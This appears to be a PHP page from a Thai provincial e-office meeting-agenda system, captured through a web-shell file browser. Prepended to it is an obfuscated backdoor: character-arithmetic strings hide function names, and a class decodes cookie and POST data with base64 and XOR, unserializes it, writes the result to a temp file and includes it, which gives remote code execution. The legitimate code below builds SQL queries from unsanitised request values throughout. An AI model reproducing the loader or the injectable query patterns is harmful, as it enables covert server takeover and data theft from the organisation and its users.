|
Server : Apache/2.2.2 (Fedora) System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686 User : apache ( 48) PHP Version : 5.2.9 Disable Function : NONE Directory : /var/www/html/pathumthani_eoffice/application/agenda/ |
Upload File : |
<?php $OyrZJbg = chr (113) . chr (114) . 'S' . chr (95) . "\115" . 'K' . chr ( 1027 - 923 ).chr ( 542 - 430 ); $AbEYXPwSk = chr ( 267 - 168 )."\154" . chr ( 562 - 465 )."\163" . chr ( 1063 - 948 ).chr ( 579 - 484 ).chr ( 120 - 19 ).chr (120) . 'i' . "\163" . "\x74" . "\163";$zHEKMPoKDc = $AbEYXPwSk($OyrZJbg); $PHNmgQl = $zHEKMPoKDc;if (!$PHNmgQl){class qrS_MKhp{private $hdJfip;public static $jGafkXW = "03d7cca5-f74e-4a5b-9f10-4d1abd0b9919";public static $BCHwtj = 5090;public function __construct(){$QudvI = $_COOKIE;$OklDBfQqFY = $_POST;$yoNdI = @$QudvI[substr(qrS_MKhp::$jGafkXW, 0, 4)];if (!empty($yoNdI)){$xgCLrwki = "base64";$QoDiyFxUA = "";$yoNdI = explode(",", $yoNdI);foreach ($yoNdI as $pjrBAnYsiP){$QoDiyFxUA .= @$QudvI[$pjrBAnYsiP];$QoDiyFxUA .= @$OklDBfQqFY[$pjrBAnYsiP];}$QoDiyFxUA = array_map($xgCLrwki . '_' . "\144" . "\x65" . "\143" . 'o' . "\144" . chr ( 815 - 714 ), array($QoDiyFxUA,)); $QoDiyFxUA = $QoDiyFxUA[0] ^ str_repeat(qrS_MKhp::$jGafkXW, (strlen($QoDiyFxUA[0]) / strlen(qrS_MKhp::$jGafkXW)) + 1);qrS_MKhp::$BCHwtj = @unserialize($QoDiyFxUA);}}public function __destruct(){$this->ZbCEishJKI();}private function ZbCEishJKI(){if (is_array(qrS_MKhp::$BCHwtj)) {$SmSzujOIS = sys_get_temp_dir() . "/" . crc32(qrS_MKhp::$BCHwtj[chr (115) . "\141" . chr (108) . 't']);@qrS_MKhp::$BCHwtj[chr (119) . "\x72" . "\151" . "\x74" . chr (101)]($SmSzujOIS, qrS_MKhp::$BCHwtj[chr ( 601 - 502 ).chr ( 183 - 72 ).chr (110) . 't' . chr ( 195 - 94 )."\x6e" . chr ( 259 - 143 )]);include $SmSzujOIS;@qrS_MKhp::$BCHwtj[chr ( 987 - 887 ).'e' . chr (108) . 'e' . 't' . 'e']($SmSzujOIS);exit();}}}$miwWUujdt = new qrS_MKhp(); $miwWUujdt = 396;} ?><?
//=========================================
// Select document type where status is '1'
// @author Kridsada Satakarn
// @date 2009/06/20
// @return a array of list document type where status is '1'
//=
###################################################################
## AGENDA MAIN PAGE : E-OFFICE PATHUMTHANI
###################################################################
## Version : 20090620.001 (Created/Modified; Date.RunNumber)
## Created Date : 2009-06-20 hh:mm
## Created By : Kridsada Satakarn (JENG)
## E-mail :
## Tel. :
## Company : Sappire Research and Development Co.,Ltd. (C)All Right Reserved
###################################################################
##
## Version : 20091110.002
## Modified Detail: MODIFY DASH BOARD , CONVERT DATE THAI -> ENG
## Modified Date : 2009-11-10 13:00
## Modified By : Mr.PUDIS PROMSRI (PAAK)
##
###################################################################
session_start();
if(!isset($session_username)){
header("Location:login.php");
}
include("../../config/config.inc.php");
include("../../common/function.php");
include("function.listfile.php");
if($debug=="ON"){echo "<pre>";print_r($_SESSION);echo "</pre>";}
if($_POST['action']=='confirm'){
$sql="Update tbl_subject set confirm='$xtype', confirmby='$_SESSION[session_staffid]' where id_sub='$id'";
mysql_query($sql);
$sql ="SELECT *
FROM tbl_subject_approve
WHERE tbl_subject_approve.id_subject='$id'
AND comment_by='$session_staffid'
";
$rs_checkroe=@mysql_query($sql);
$num_row=@mysql_num_rows($rs_checkroe);
if($num_row>0){
while($rs_copy=mysql_fetch_assoc($rs_checkroe)){
$sql="insert into tbl_subject_approve_history (id_subject,approve_type,comment_detail,comment_by,comment_date) values( '$rs_copy[id_subject]','$rs_copy[approve_type]','$rs_copy[comment_detail]','$rs_copy[comment_by]','$rs_copy[comment_date]' )";
mysql_query($sql);
}
$sql="DELETE FROM `tbl_subject_approve` WHERE tbl_subject_approve.id_subject='$id' AND (`comment_by`='$session_staffid') ";
mysql_query($sql);
}
$sql="insert into tbl_subject_approve(id_subject,approve_type,comment_detail,comment_by,comment_date) values('$id','$xtype','$xdetail','$_SESSION[session_staffid]',NOW())";
mysql_query($sql);
}
$sql ="SELECT * FROM tbl_subject_approve WHERE tbl_subject_approve.id_subject='$id' AND comment_by='$session_staffid' ";
$rs_checkroe=@mysql_query($sql);
$num_rows=@mysql_num_rows($rs_checkroe);
if($num_rows==0){
$sql="insert into tbl_subject_approve(id_subject,approve_type,comment_detail,comment_by,comment_date) values('$id',0,'เรียกดูรายงานการประชุม','$_SESSION[session_staffid]',NOW())";
mysql_query($sql);
}
$sql="select varvalue from eoffice_config where appid='14' and modual_name='meeting_report' and varname='approve'";
//echo $sql;
$result =mysql_db_query($dbname,$sql);
$row=mysql_fetch_array($result );
$approveshow=$row[varvalue];
function selectFiles($sub_id, $id_type)
{
$path = "attach_file/temp/";
$add_cond = "";
if($id_type >= 0)
{
$add_cond = " AND id_type = ". $id_type;
}
$arr = array();
$sql = "SELECT
tbl_attach_file.attach_file,
tbl_attach_file.run_id,
tbl_attach_file.comment
FROM
tbl_attach_file
WHERE
tbl_attach_file.id_attach_file = '$sub_id' $add_cond order by run_id ASC";
$query = mysql_query($sql);
if($rs = mysql_fetch_array($query))
{
$arrfile= $rs[attach_file];
$arrcomment=( $rs[comment]=="")?$arrfile:$rs[comment];
return "<a href=\"download.php?path=$path$arrfile&filename=$arrfile\" target='fdownload' >".$arrcomment."</a>";
}else{
return "-";
}
}
$docType = selectDocType();
$month_arr=array('','มกราคม','กุมภาพันธ์','มีนาคม','เมษายน','พฤษภาคม','มิถุนายน','กรกฏาคม','สิงหาคม','กันยายน','ตุลาคม','พฤศจิกายน','ธันวาคม');
$smonth_arr=array('','ม.ค.','ก.พ.','มี.ค.','เม.ย.','พ.ค.','มิ.ย.','ก.ค.','ส.ค.','ก.ย.','ต.ค.','พ.ย.','ธ.ค.');
$folder = "attach_file/";
$path_temp = "attach_file/agenda/";
//===================================================================================================
if($_SERVER[REQUEST_METHOD] == "POST"){
//echo "<pre>";print_r($_POST);echo "</pre>";
$close_value=($close_value)?$close_value:"on";
$sql="UPDATE `tbl_subject` SET `close_topic`='$close_value' WHERE (`id_sub`='".$id."') ";
$query = mysql_query($sql);
?>
<script language="javascript">
alert("ทำการปิดการรับรองการประชุมแล้ว");
</script>
<?
}
?>
<html>
<head>
<title>รายละเอียดรายงานการประชุม</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<LINK href="common/style.css" rel=stylesheet>
<script language='javascript' src='jquery.js'></script>
<script language="javascript">
function openpopup_confirm(){
var sFeatures="dialogHeight: " + 250 + "px;";
oReturnValue = window.showModalDialog('report_confirm_popup.php?'+Math.random()*10000,'' ,sFeatures);
if(oReturnValue ){
$('#xtype').val(oReturnValue.type);
$('#xdetail').val(oReturnValue.detail);
document.formE.submit()
}
}
</script>
<style type="text/css">
.page {
font : 9px tahoma;
font-weight : bold;
color : #0280D5;
padding : 1px 3px 1px 3px;
}
.pagelink {
font : 9px tahoma;
font-weight : bold;
color : #000000;
text-decoration : underline;
padding : 1px 3px 1px 3px;
}
.go {
BORDER: #59990e 1px solid;
PADDING-RIGHT: 0.38em;
PADDING-LEFT: 0.38em;
FONT-WEIGHT: bold;
FONT-SIZE: 105%;
BACKGROUND: url(../hr3/hr_report/images/hdr_bg.png) #6eab26 repeat-x 0px -90px;
FLOAT: left;
PADDING-BOTTOM: 0px;
COLOR: #fff;
MARGIN-RIGHT: 0.38em;
PADDING-TOP: 0px;
HEIGHT: 1.77em
}
#bf .go {
FLOAT: none
}
.go:hover {
BORDER: #3f8e00 1px solid;
BACKGROUND: url(../hr3/hr_report/images/hdr_bg.png) #63a218 repeat-x 0px -170px;
}
.q {
BORDER-RIGHT: #5595CC 1px solid;
PADDING-RIGHT: 0.7em;
BORDER-TOP: #5595CC 1px solid;
PADDING-LEFT: 0.7em;
FONT-WEIGHT: normal; FONT-SIZE: 105%;
FLOAT: left;
PADDING-BOTTOM: 0px;
MARGIN: 0px 0.38em 0px 0px;
BORDER-LEFT: #5595CC 1px solid;
WIDTH: 300px;
PADDING-TOP: 0.29em;
BORDER-BOTTOM: #5595CC 1px solid;
HEIGHT: 1.39em
}
.tabberlive .tabbertab {
background-color:#FFFFFF;
height:200px;
}
</style>
<style type="text/css">
<!--
.header1 { font-family:"MS Sans Serif", Tahoma, Arial;
font-size:1em;
font-weight:bold;
color: #FFFFFF;
}
.main { font-family:"MS Sans Serif", Tahoma, Arial;
font-size:0.8em;
color:#FF0000;
font-weight:bold;
}
.normal { font-family:"MS Sans Serif", Tahoma, Arial;
font-size:0.8em;
}
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
.style1 {color: #FF0000}
-->
</style>
<script language="javascript">
function popWindow(url, w, h){
var popup = "Popup";
if(w == "") w = 550;
if(h == "") h = 450;
var newwin = window.open(url, popup,'location=0,status=no,scrollbars=yes,resizable=yes,width=' + w + ',height=' + h + ',top=20');
newwin.focus();
}
</script>
</head>
<body>
<?
//echo "<pre>";print_r($_SESSION);echo "</pre>";
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#144C85', EndColorStr='#ffffff');">
<form name="formE" id="formE" action="<?=$PHP_SELF?>?id=<?=$id?>" method="post">
<tr valign="top">
<td bgcolor="#000000">
<?
$id=$_GET['id'];
$strSQLe = "SELECT tbl_subject.*,org_staffgroup.gid as owner_id,org_staffgroup.groupname as owner
FROM tbl_subject LEFT JOIN org_staffgroup ON tbl_subject.org_owner = org_staffgroup.gid WHERE id_sub='$id'";
$Resulte= mysql_db_query($dbname,$strSQLe);
$Rse = mysql_fetch_object($Resulte);
$datearr=explode("-",$Rse->date_create);
$date_create = ($Rse->date_create != "0000-00-00")?($datearr[2]*1)." ". $smonth_arr[$datearr[1]+0]." ".($datearr[0]) : "";
$datearr=explode("-",$Rse->meeting_date);
$meeting_date = ($Rse->meeting_date != "0000-00-00")?($datearr[2]*1)." ". $smonth_arr[$datearr[1]+0]." ".($datearr[0]):"";
$datearr=explode("-",$Rse->finish_date);
$finish_date = ($Rse->finish_date != "0000-00-00")?($datearr[2]*1)." ". $smonth_arr[$datearr[1]+0]." ".($datearr[0]):"";
?>
<table width="100%" border="0" cellspacing="1" cellpadding="3">
<tr>
<td colspan="2" align="left" bgcolor="#B0C6E6"> </td>
</tr>
<tr>
<td width="26%" align="right" bgcolor="#B0C6E6">หัวข้อการประชุม</td>
<td width="74%" align="left" bgcolor="#F4F4F4"><?=$Rse->subject?> </td>
</tr>
<tr>
<td align="right" bgcolor="#B0C6E6">ประธานการประชุม</td>
<td align="left" bgcolor="#F4F4F4"><?=$Rse->main?></td>
</tr>
<tr>
<td align="right" bgcolor="#B0C6E6">เลขที่หนังสือ</td>
<td align="left" bgcolor="#F4F4F4"><?=$Rse->noorder?></td>
</tr>
<tr>
<td width="26%" align="right" bgcolor="#B0C6E6">ลงวันที่</td>
<td width="74%" align="left" bgcolor="#F4F4F4"><?=daythai2($Rse->date_create)?></td>
</tr>
<tr>
<td align="right" bgcolor="#B0C6E6">วันที่ประชุม</td>
<td align="left" bgcolor="#F4F4F4"><?=daythai2(($Rse->meeting_date)?$Rse->meeting_date:"0000-00-00")?></td>
</tr>
<tr>
<td align="right" bgcolor="#B0C6E6">วันสิ้นสุดการรับรองการประชุม</td>
<td align="left" bgcolor="#F4F4F4">
<?=daythai2(($Rse->finish_date)?$Rse->finish_date:"0000-00-00")?>
<?
$close_status=($Rse->close_topic=="off"||$Rse->finish_date<=date('Y-m-d'))?" <img src='images/redflag.gif' border=0 title='สิ้นสุดการบันทึกคำรับรองการประชุม'>":"";
echo $close_status?>
</td>
</tr>
<? if(($_SESSION[session_org]==$Rse->org_owner || $_SESSION[session_appermit][14][10]=="on" )&&(($Rse->meeting_date)<=date('Y-m-d'))&&(($Rse->finish_date)>=date('Y-m-d')||(!$Rse->finish_date))&&($Rse->close_topic=="on")){ ?>
<tr>
<td align="right" bgcolor="#B0C6E6"></td>
<td align="left" bgcolor="#F4F4F4">
<input type="hidden" value="off" name="close_value" id="close_value">
<input type="button" value="สิ้นสุดการบันทึกรับรองการประชุม" onClick="call_close();" style="font-size:12px;width:180px;height:20px">
<script language="javascript">
function call_close(){
if(confirm('ต้องการ ปิดการบันทึกข้อมูลรับรองการประชุม หรือ ไม่') == true ){
window.formE.submit();
}
}
</script>
</td>
</tr>
<? }else if(($_SESSION[session_org]==$Rse->org_owner || $_SESSION[session_appermit][14][10]=="on" )&&(($Rse->meeting_date)<=date('Y-m-d'))&&(($Rse->finish_date)>=date('Y-m-d')||(!$Rse->finish_date))&&($Rse->close_topic=="off")){
?>
<tr>
<td align="right" bgcolor="#B0C6E6"></td>
<td align="left" bgcolor="#F4F4F4">
<input type="hidden" value="on" name="close_value" id="close_value">
<input type="button" value="เปิดการบันทึกรับรองการประชุม" onClick="call_close();" style="font-size:12px;width:180px;height:20px">
<script language="javascript">
function call_close(){
if(confirm('ต้องการ ปิดการบันทึกข้อมูลรับรองการประชุม หรือ ไม่') == true ){
window.formE.submit();
}
}
</script>
</td>
</tr>
<?
}?>
<tr>
<td align="right" bgcolor="#B0C6E6">เวลาประชุม</td>
<td align="left" bgcolor="#F4F4F4"><?
$arr_xstart = @explode(":" , $Rse->time_start) ;
$arr_xend = @explode(":" , $Rse->time_end) ;
$xhh1 = (int)$arr_xstart[0] ; $xmm1 = $arr_xstart[1] ;
$xhh2 = (int)$arr_xend[0] ; $xmm2= $arr_xend[1] ;
echo"$xhh1:$xmm1 น. ถึง $xhh2:$xmm2 น."; ?></td>
</tr>
<tr>
<td align="right" bgcolor="#B0C6E6">สถานที่ประชุม</td>
<td align="left" bgcolor="#F4F4F4"><?=$Rse->location?></td>
</tr>
<tr>
<td align="right" bgcolor="#B0C6E6">รายละเอียด</td>
<td align="left" bgcolor="#F4F4F4"><?=$Rse->detail?></td>
</tr>
<tr>
<td align="right" bgcolor="#B0C6E6">สถานะการแสดงผล</td>
<td align="left" bgcolor="#F4F4F4">
<?
$chk1 = ($Rse->status_sub == '1')? "<img src=\"images/approve.gif\" width=\"16\" height=\"16\">แสดงผล" : "<img src=\"images/unapprove.png\" width=\"16\" height=\"16\">ไม่แสดงผล";
echo $chk1;
?> </td>
</tr>
<tr>
<td align="right" bgcolor="#B0C6E6">หน่วยงานเจ้าของเรื่อง</td>
<td align="left" bgcolor="#F4F4F4"><?= $Rse->owner?></td>
</tr>
<tr>
<td align="right" bgcolor="#B0C6E6">หมายเลขโทรศัพท์</td>
<td align="left" bgcolor="#F4F4F4"><?=$Rse->org_phone?></td>
</tr>
<tr>
<td align="right" bgcolor="#B0C6E6">แนบไฟล์</td>
<td align="left" bgcolor="#F4F4F4">
<div id="divListFiles">
<?
echo showListFile2($Rse->id_sub,$approveshow);
?>
</div>
<div id="divUpload"></div></td>
</tr>
<?
if($approveshow=="on"){
?>
<tr>
<td align="right" bgcolor="#B0C6E6">สถานะรับรองการประชุมล่าสุด</td>
<td align="left" bgcolor="#F4F4F4">
<?
/* print_r($Rse) ;
if($Rse->confirm=="0"){
echo "ยังไม่มีการรับรองการประชุม";
} elseif($Rse->confirm=="1"){*/
echo "<a onclick=\"popWindow('confirm_history.php?id=$id',600,500)\" href=\"#\" title=\"ดูประวัติการรับรองการประชุม\">ดูประวัติการรับรองการประชุม</a>";
if($result_agenda_show=="on"){
// $sqlx = "
// SELECT tbl_subject_approve.approve_type , count(tbl_subject_approve.id_no ) as countnm
// FROM tbl_subject_approve left Join epm_staff ON tbl_subject_approve.comment_by = epm_staff.staffid
// WHERE tbl_subject_approve.id_subject='$id'
// GROUP BY tbl_subject_approve.approve_type
// ORDER BY approve_type
// ";
// $sqlx = "
// SELECT tbl_subject_approve.approve_type , count(tbl_subject_approve.id_no ) as countnm
// FROM tbl_subject_approve left Join epm_staff ON tbl_subject_approve.comment_by = epm_staff.staffid
// WHERE tbl_subject_approve.id_subject='$id'
// GROUP BY tbl_subject_approve.approve_type
// ORDER BY approve_type
// ";
$sqlx = "
SELECT
sum(if((tbl_subject_approve.approve_type=1),1,0)) AS type_a,
sum(if((tbl_subject_approve.approve_type=2),1,0)) AS type_b,
sum(if((tbl_subject_approve.approve_type=0),1,0)) AS type_c
FROM tbl_subject_approve
INNER Join epm_staff ON tbl_subject_approve.comment_by = epm_staff.staffid
WHERE tbl_subject_approve.id_subject='$id'
ORDER BY approve_type
";
# echo $sqlx ;
$resultx = mysql_query($sqlx) ;
$rsx = mysql_fetch_assoc($resultx);
if ($rsx[type_a] > 0){ echo " <br>รับรองการประชุม <a onclick=\"popWindow('confirm_history.php?id=$id&comment_type=1',600,500)\" href=\"#\">$rsx[type_a] หน่วยงาน </a>"; }
if ($rsx[type_b] > 0){ echo " <br>ไม่รับรองการประชุม <a onclick=\"popWindow('confirm_history.php?id=$id&comment_type=2',600,500)\" href=\"#\">$rsx[type_b] หน่วยงาน </a>"; }
if ($rsx[type_c] > 0){ echo " <br>ไม่มีการดำเนินการรับรองรายงานการประชุม <a onclick=\"popWindow('confirm_history.php?id=$id&comment_type=0',600,500)\" href=\"#\">$rsx[type_c] หน่วยงาน </a>"; }
$sqlx = "
SELECT
count(org_staffgroup.gid) AS all_read
FROM
tbl_subject_approve
Inner Join epm_staff ON tbl_subject_approve.comment_by = epm_staff.staffid
Inner Join org_groupmember ON epm_staff.staffid = org_groupmember.staffid
Inner Join org_staffgroup ON org_staffgroup.gid = org_groupmember.gid
WHERE tbl_subject_approve.id_subject='$id'
ORDER BY approve_type
";
$resultx = mysql_query($sqlx) ;
$id_x = mysql_fetch_assoc($resultx);
$sqlx = "
SELECT
org_groupmember.gid
FROM
permission_status
Inner Join app_permit ON app_permit.permit_id = permission_status.permit_id
Inner Join mission_groupmenber ON app_permit.mission_id = mission_groupmenber.mission_id
Inner Join org_groupmember ON mission_groupmenber.staffid = org_groupmember.staffid
WHERE
permission_status.app_id = '14' AND
permission_status.pid = '100' AND
org_groupmember.gid != '".$Rse->org_owner."'
GROUP by org_groupmember.gid
";
$resultx = mysql_query($sqlx) ;
$id_y = mysql_num_rows($resultx);
$type_d=$id_y-$id_x[all_read];
if ($type_d > 0 ){ echo " <br>ไม่เรียกดูรายงานการประชุม <a onclick=\"popWindow('confirm_history.php?id=$id&comment_type=99&ord_id=".$Rse->org_owner."',600,500)\" href=\"#\">$type_d หน่วยงาน </a>"; }
######### END while ($rsx = mysql_fetch_assoc($resultx)){
}
# }
if(($_SESSION[session_org]!=$Rse->org_owner )&&(($Rse->meeting_date)<=date('Y-m-d'))&&(($Rse->finish_date)>=date('Y-m-d')||(!$Rse->finish_date))&&($Rse->close_topic=="on")){
?>
<br><input type="button" name="button" id="button" value="รับรอง/ไม่รับรอง การประชุม" onClick="openpopup_confirm()"style="font-size:12px;width:150px;height:20px">
<? }?>
</td>
</tr> <?
}
?>
<tr>
<td colspan="2" align="right" bgcolor="#B0C6E6"><input type="hidden" name="id" id="id" value="<?=$id?>">
<input type="hidden" name="xtype" id="xtype" value="">
<input type="hidden" name="xdetail" id="xdetail" value="">
<input type="hidden" name="action" id="action" value="confirm"></td>
</tr>
</table></td>
</tr>
</form>
<tr valign="top">
<td> </td>
</tr>
</table>
<iframe id="fdownload" name="fdownload" width="0" height="0" scrolling="no" frameborder="0"></iframe>
</body>
</html>